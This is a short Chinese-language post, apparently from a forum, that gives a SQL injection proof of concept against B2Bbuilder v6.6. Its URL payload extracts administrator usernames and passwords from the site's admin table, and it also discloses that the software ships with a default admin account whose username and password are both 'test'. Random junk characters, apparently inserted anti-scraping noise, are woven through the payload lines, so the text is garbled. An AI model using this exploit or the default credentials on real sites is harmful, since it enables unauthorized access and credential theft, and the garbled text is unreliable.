测试的程序版本为:B2Bbuilder_v6.6
% e# P: Q4 s! L: u$ a8 H: F) D# J% b! }% U- I* ^ u( G' e
7 H- S% i# K' D$ q' D. ~" o, K
http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%287 R1 z2 X! E% ?1 `
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password, y' j% o: _% G# O3 f |7 H- c
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1
/ k3 \: ]8 n* f, }%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29
% w$ a! F: p" y: V. _3 R" x" B+ A*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1
' B3 c8 X0 X8 ^9 e5 { 4 p+ i" p/ c$ G3 z4 O u/ c
这个B2B程序还有一个默认的管理员帐号,帐号密码都是test) |! I, y% C4 y, x+ j! ]
+ n3 a( g5 t. r0 |0 k! S
|